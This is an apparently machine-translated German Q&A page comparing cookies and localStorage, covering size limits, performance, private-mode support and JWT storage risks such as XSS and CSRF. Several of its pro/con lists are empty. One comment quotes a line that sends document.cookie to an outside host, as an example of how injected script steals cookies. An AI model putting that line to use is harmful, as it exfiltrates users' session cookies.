Ich möchte die Ladezeiten meiner Websites reduzieren, indem ich alle Cookies in den lokalen Speicher verschiebe, da sie anscheinend dieselbe Funktionalität haben. Gibt es Vor- / Nachteile (insbesondere in Bezug auf die Leistung) bei der Verwendung des lokalen Speichers als Ersatz für die Cookie-Funktionalität, mit Ausnahme der offensichtlichen Kompatibilitätsprobleme?
html
cookies
httprequest
local-storage
Gio Borje
quelle
quelle
Antworten:
Cookies und lokale Speicherung dienen unterschiedlichen Zwecken. Cookies dienen hauptsächlich zum Lesen auf der Serverseite . Der lokale Speicher kann nur vom Client gelesen werden . Die Frage ist also in Ihrer App, wer diese Daten benötigt - der Client oder der Server?
Wenn es Ihr Client (Ihr JavaScript) ist, dann wechseln Sie auf jeden Fall. Sie verschwenden Bandbreite, indem Sie alle Daten in jedem HTTP-Header senden.
Wenn es sich um Ihren Server handelt, ist der lokale Speicher nicht so nützlich, da Sie die Daten irgendwie weiterleiten müssten (mit Ajax oder ausgeblendeten Formularfeldern oder Ähnlichem). Dies ist möglicherweise in Ordnung, wenn der Server für jede Anforderung nur eine kleine Teilmenge der Gesamtdaten benötigt.
In jedem Fall sollten Sie Ihr Sitzungscookie als Cookie belassen.
Nach dem technischen Unterschied und auch nach meinem Verständnis:
Cookies sind nicht nur eine alte Methode zum Speichern von Daten, sondern geben Ihnen auch ein Limit von 4096 Bytes (eigentlich 4095) - pro Cookie. Lokaler Speicher ist so groß wie 5 MB pro Domain - SO Question erwähnt dies auch.
localStorage
ist eine Implementierung derStorage
Schnittstelle. Es speichert Daten ohne Ablaufdatum und wird nur über JavaScript oder den Browser-Cache / lokal gespeicherte Daten gelöscht - im Gegensatz zum Ablauf von Cookies.quelle
sessionStorage
dass ein Cookie abgelaufen ist, bis der Browser geschlossen wird (nicht die Registerkarte). @darkporter, danke für die Antwort. Ich würde jedoch gerne den technischen Unterschied zwischen Cookies und lokalem Speicher hören. Warten auf Ihre Bearbeitung.localStorage
Bleibt auf dem Client, währendcookies
er mit dem HTTP-Header gesendet wird. Das ist der größte (aber nicht der einzige) Unterschied zwischen ihnen.Im Zusammenhang mit JWTs hat Stormpath einen ziemlich hilfreichen Artikel verfasst, in dem mögliche Speichermöglichkeiten und die (Nachteile) der einzelnen Methoden beschrieben werden.
Es gibt auch einen kurzen Überblick über XSS- und CSRF-Angriffe und wie Sie sie bekämpfen können.
Ich habe einige kurze Ausschnitte des folgenden Artikels angehängt, falls der Artikel offline geschaltet wird oder die Website ausfällt.
Lokaler Speicher
Probleme:
Verhütung:
Kekse
Probleme:
Verhütung:
Den vollständigen Artikel finden Sie hier: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/
Sie haben auch einen hilfreichen Artikel darüber, wie JWTs im Hinblick auf die Struktur des Tokens selbst am besten entworfen und implementiert werden können: https://stormpath.com/blog/jwt-the-right-way/
quelle
localStorage
ist für andere Skripte auf der Seite zugänglich ... Aber auchXMLHttpRequest
... Und ja, das HttpOnly-Flag schützt vor dem Diebstahl des Cookies, aber der Browser sendet es trotzdem automatisch an die entsprechende Domain, also ... im Grunde genommen, wenn Sie böswillige Skripte haben Wenn Sie auf Ihrer Seite laufen, sind Sie bereits gehackt.window.location = 'http://google.com?q=' + escape(document.cookie);
. Dieser Angriff umgeht die CORS-Prüfung des Browsers.Mit
localStorage
können Webanwendungen Daten lokal im Browser des Benutzers speichern. Vor HTML5 mussten Anwendungsdaten in Cookies gespeichert werden, die in jeder Serveranforderung enthalten waren. Große Datenmengen können lokal gespeichert werden, ohne die Leistung der Website zu beeinträchtigen. ObwohllocalStorage
es moderner ist, haben beide Techniken einige Vor- und Nachteile.Kekse
Vorteile
Nachteile
Lokaler Speicher
Vorteile
Nachteile
localStorage
Die Verwendung ist fast identisch mit der ersten Sitzung. Sie haben ziemlich genaue Methoden, so dass der Wechsel von Sitzung zu SitzunglocalStorage
wirklich ein Kinderspiel ist. Wenn gespeicherte Daten für Ihre Anwendung wirklich wichtig sind, werden Sie wahrscheinlich Cookies als Backup verwenden, falls dieselocalStorage
nicht verfügbar sind. Wenn Sie die Browserunterstützung überprüfen möchtenlocalStorage
, müssen Sie nur dieses einfache Skript ausführen:quelle
Die Geschwindigkeit des lokalen Speichers hängt stark vom Browser ab, den der Client verwendet, sowie vom Betriebssystem. Chrome oder Safari auf einem Mac können viel schneller sein als Firefox auf einem PC, insbesondere mit neueren APIs. Wie immer ist das Testen dein Freund (ich konnte keine Benchmarks finden).
Ich sehe wirklich keinen großen Unterschied zwischen Cookies und lokalem Speicher. Außerdem sollten Sie sich mehr Sorgen über Kompatibilitätsprobleme machen: Nicht alle Browser unterstützen bereits die neuen HTML5-APIs. Daher sind Cookies die beste Wahl für Geschwindigkeit und Kompatibilität.
quelle
Es ist auch erwähnenswert, dass
localStorage
dies nicht verwendet werden kann, wenn Benutzer in einigen Versionen von Mobile Safari im "privaten" Modus surfen.Zitiert aus MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):
quelle
Der lokale Speicher kann bis zu 5 MB Offline-Daten speichern, während die Sitzung auch bis zu 5 MB Daten speichern kann. Cookies können jedoch nur 4-KB-Daten im Textformat speichern.
LOCAl- und Sitzungsspeicherdaten im JSON-Format, daher einfach zu analysieren. Die Cookie-Daten liegen jedoch im Zeichenfolgenformat vor.
quelle
Cookies :
Lokaler Speicher:
quelle